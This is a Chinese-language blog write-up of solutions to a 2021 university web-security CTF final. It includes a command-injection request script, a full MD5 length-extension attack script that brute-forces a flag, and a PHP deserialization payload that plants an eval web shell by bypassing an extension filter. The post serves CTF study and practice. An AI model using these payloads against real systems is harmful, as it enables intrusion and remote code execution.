赛题笔记:2021全国大学生软件测试Web安全测试个人赛-决赛


前言

第一次参加,很多都是原题,发挥的不是很好,挺可惜的。

Web1

挺无语的题,就是猜。

邮箱就是主页上的那个邮箱,密码是password。

Web3

根据提示一步一步走就行

import requests

url = "http://120.53.229.74:52900/?cmd=tac${IFS}/flllllag"

payload={}
files={}
headers = {
  'Accept-Language': 'zh-cn',
  'User-Agent': 'penson browser',
  'Referer': 'https://www.penson.com',
  'X-Forwarded-For': '127.0.0.1'
}

response = requests.request("POST", url, headers=headers, data=payload, files=files)

print(response.text)

Web5

伪协议看下文件源码,最后环境似乎有问题?par1234四个参数设下值就直接给flag了。

Web7

MD5长度扩展攻击

<?php
error_reporting(0);
$flag = 'DASCTF{ad83da48baea4a03abb7d3eecbdc332e}';//flag隐藏,方便做题在此随便写了个相同长度的。

if (isset($_GET["md5"]) && isset($_GET["i"]) && isset($_GET["s"])) {
    $fl4g = substr_replace($flag, $_GET["s"], $_GET["i"], 1);
    echo $_GET["md5"] === md5($fl4g);
} else {
    highlight_file(__FILE__);
    echo md5($flag . "yusa"); //60fffb8b8dac538b9b5250e29795561a
}

当时没做出来,很可惜。

首先得知道substr_replace函数具体作用,总结一下就是吃掉某一个位置的字符,并插入字符串。

<?php
$flag = 'DASCTF{123}';
echo substr_replace($flag, '*', -1, 1);
//DASCTF{123*

echo substr_replace($flag, '**', -2, 1);
//DASCTF{12**}

echo substr_replace($flag, '*', 9, 1);
//DASCTF{123}*

已知:md5(flag+'yasu')flag长度

MD5长度扩展攻击原理可知,则可以算出md5(flag+'yasu'+填充字符+扩展字符)

整理下思路,假设是DASCTF{123},已知最后一个字符是}

于是从倒数第二个字符开始猜。

填充字符是自动生成的不用管,由于是吃掉倒数第二个字符并插入字符串,这样}就被挤到了最后,所以扩展字符就是},如图所示:

于是,*跑一遍ascii字符,如果*正确,则$_GET["md5"] === md5($fl4g)返回1。

然后就可以猜第二个字符,此时扩展

按这个思路,就可以一步一步爆出flag

脚本如下:

# -*- coding: utf-8 -*-
# @Author: King kaki
# @Date:   2018-08-04 12:40:11
# @Last Modified by:   kingkk
# @Last Modified time: 2018-08-12 15:08:28
import math
import requests
from urllib.parse import quote, unquote

F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))
shi_1 = (7, 12, 17, 22) * 4
shi_2 = (5, 9, 14, 20) * 4
shi_3 = (4, 11, 16, 23) * 4
shi_4 = (6, 10, 15, 21) * 4
m_1 = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)
m_2 = (1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12)
m_3 = (5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2)
m_4 = (0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9)


def T(i):
    return (int(4294967296 * abs(math.sin(i)))) & 0xffffffff


def shift(shift_list):
    shift_list = [shift_list[3], shift_list[0], shift_list[1], shift_list[2]]
    return shift_list


def fun(fun_list, f, m, shi):
    count = 0
    global Ti_count
    while count < 16:
        xx = int(fun_list[0], 16) + f(int(fun_list[1], 16), int(fun_list[2],
                                                                16), int(fun_list[3], 16)) + int(m[count], 16) + T(
            Ti_count)
        xx &= 0xffffffff
        ll = L(xx, shi[count])
        fun_list[0] = hex((int(fun_list[1], 16) + ll) & 0xffffffff)
        fun_list = shift(fun_list)
        count += 1
        Ti_count += 1
    return fun_list


def gen_m16(order, ascii_list, f_offset):
    ii = 0
    m16 = [0] * 16
    f_offset *= 64
    for i in order:
        i *= 4
        m16[ii] = '0x' + ''.join((ascii_list[i + f_offset] + ascii_list[i + 1 + f_offset] +
                                  ascii_list[i + 2 + f_offset] + ascii_list[i + 3 + f_offset]).split('0x'))
        ii += 1
    for ind in range(len(m16)):
        m16[ind] = reverse_hex(m16[ind])
    return m16


def reverse_hex(hex_str):
    hex_str = hex_str[2:]
    if len(hex_str) < 8:
        hex_str = '0' * (8 - len(hex_str)) + hex_str
    hex_str_list = []
    for i in range(0, len(hex_str), 2):
        hex_str_list.append(hex_str[i:i + 2])
    hex_str_list.reverse()
    hex_str_result = '0x' + ''.join(hex_str_list)
    return hex_str_result


def show_result(f_list):
    result = ''
    f_list1 = [0] * 4
    for i in f_list:
        f_list1[f_list.index(i)] = reverse_hex(i)[2:]
        result += f_list1[f_list.index(i)]
    return result


def padding(input_m, msg_lenth=0):
    ascii_list = list(map(hex, map(ord, input_m)))
    msg_lenth += len(ascii_list) * 8
    ascii_list.append('0x80')
    for i in range(len(ascii_list)):
        if len(ascii_list[i]) < 4:
            ascii_list[i] = '0x' + '0' + ascii_list[i][2:]
    while (len(ascii_list) * 8 + 64) % 512 != 0:
        ascii_list.append('0x00')
    msg_lenth_0x = hex(msg_lenth)[2:]
    msg_lenth_0x = '0x' + msg_lenth_0x.rjust(16, '0')
    msg_lenth_0x_big_order = reverse_hex(msg_lenth_0x)[2:]
    msg_lenth_0x_list = []
    for i in range(0, len(msg_lenth_0x_big_order), 2):
        msg_lenth_0x_list.append('0x' + msg_lenth_0x_big_order[i: i + 2])
    ascii_list.extend(msg_lenth_0x_list)
    return ascii_list


def md5(input_m):
    global Ti_count
    Ti_count = 1
    abcd_list = ['0x67452301', '0xefcdab89', '0x98badcfe', '0x10325476']
    ascii_list = padding(input_m)
    for i in range(0, len(ascii_list) // 64):
        aa, bb, cc, dd = abcd_list
        order_1 = gen_m16(m_1, ascii_list, i)
        order_2 = gen_m16(m_2, ascii_list, i)
        order_3 = gen_m16(m_3, ascii_list, i)
        order_4 = gen_m16(m_4, ascii_list, i)
        abcd_list = fun(abcd_list, F, order_1, shi_1)
        abcd_list = fun(abcd_list, G, order_2, shi_2)
        abcd_list = fun(abcd_list, H, order_3, shi_3)
        abcd_list = fun(abcd_list, I, order_4, shi_4)
        output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
        output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
        output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
        output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
        abcd_list = [output_a, output_b, output_c, output_d]
        Ti_count = 1
        print(ascii_list)
    return show_result(abcd_list)


# md5-Length Extension Attack: 计算 md5(message + padding + suffix), res = md5(message), len_m = len(message)
def md5_lea(suffix, res, len_m):
    global Ti_count
    Ti_count = 1
    abcd_list = []
    for i in range(0, 32, 8):
        abcd_list.append(reverse_hex('0x' + res[i: i + 8]))
    # print(abcd_list)
    ascii_list = padding(suffix, (len_m + 72) // 64 * 64 *
                         8)  # len(message + padding) * 8
    # print(ascii_list)
    for i in range(0, len(ascii_list) // 64):
        aa, bb, cc, dd = abcd_list
        order_1 = gen_m16(m_1, ascii_list, i)
        order_2 = gen_m16(m_2, ascii_list, i)
        order_3 = gen_m16(m_3, ascii_list, i)
        order_4 = gen_m16(m_4, ascii_list, i)
        abcd_list = fun(abcd_list, F, order_1, shi_1)
        abcd_list = fun(abcd_list, G, order_2, shi_2)
        abcd_list = fun(abcd_list, H, order_3, shi_3)
        abcd_list = fun(abcd_list, I, order_4, shi_4)
        output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
        output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
        output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
        output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
        abcd_list = [output_a, output_b, output_c, output_d]
        Ti_count = 1
    # print(ascii_list)
    return show_result(abcd_list)


def url_append(hex_bit):
    len_append = '0x{}{}'.format((18 - len(hex_bit)) * '0', hex_bit[2:])
    len_append = reverse_hex(len_append)[2:]
    # print(len_append)
    t = ''
    for i in range(len(len_append)):
        if i % 2 == 0:
            t += '%' + len_append[i:i + 2]
        else:
            pass
    return t


if __name__ == '__main__':
    '''
    修改res为已知哈希值
    extend 为扩展字符
    '''
    res = '60fffb8b8dac538b9b5250e29795561a'
    url = 'http://127.0.0.1/3.php'
    payload = '?md5={}&i=-{}&s={}yusa{}'
    data = '}'  # 已知flag最后一个字符是}
    extend = '}'  # 预先设置扩展字符,因为扩展字符长度最小为1
    i = 44  # len(flag)+len('yasu')=44
    for k in range(2, 44):
        for j in range(32, 127):
            hex_bit = hex(i * 8)
            t = url_append(hex_bit)  # 将十六进制换成小端表示,并转换为url编码表示
            a = md5_lea(extend, res, i)  # 算出md5
            b = '%80{}{}'.format((55 - i) * '%00', t)
            # 填充到64字节,则需要len(flag)+len('yasu')+填充长度+8=64,len(flag)+len('yasu')+填充长度=i+填充长度=56,填充长度=56-i,但填充的字符是%80*1+%00*N,所以需要填充的%00个数是55-i
            tmp = requests.get(url + payload.format(a, k, chr(j) + extend, b))
            if tmp.text == '1':
                print(url + payload.format(a, k, chr(j) + extend, b))
                extend = chr(j) + extend
                data = chr(j) + data
                print(data)
                break

Web8

<?php
highlight_file(__FILE__);
class OhYouFindIt{
    public $content = "Hello Hacker.<br>";
    function __destruct(){
        echo $this->content;
    }
}
class writeshell{
    public $filename;
    public $content;
    function __toString()
    {
        if(!in_array(pathinfo($this->filename, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
            system('rm -rf ../upload/*');
            file_put_contents("../upload/".$this->filename, $this->content);
            echo "ok~ You File is"."../upload/".$this->filename;
        }else{
            exit("Go Way Hacker");
        }
        return "";
    }
}


$content = $_GET['content'];
if (!isset($content))
{
    $a = new OhYouFindIt();
}else{
    unserialize(base64_decode($content));
}

/.绕过后缀名检测,paylaod:

<?php

class OhYouFindIt
{
    public $content;

    public function __construct()
    {
        $this->content = new writeshell();
    }
}

class writeshell
{
    public $filename;
    public $content;

    public function __construct()
    {
        $this->filename = 'cmd.php/.';
        $this->content = '<?php eval($_GET[cmd]);';
    }
}

echo base64_encode(serialize(new OhYouFindIt()));

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录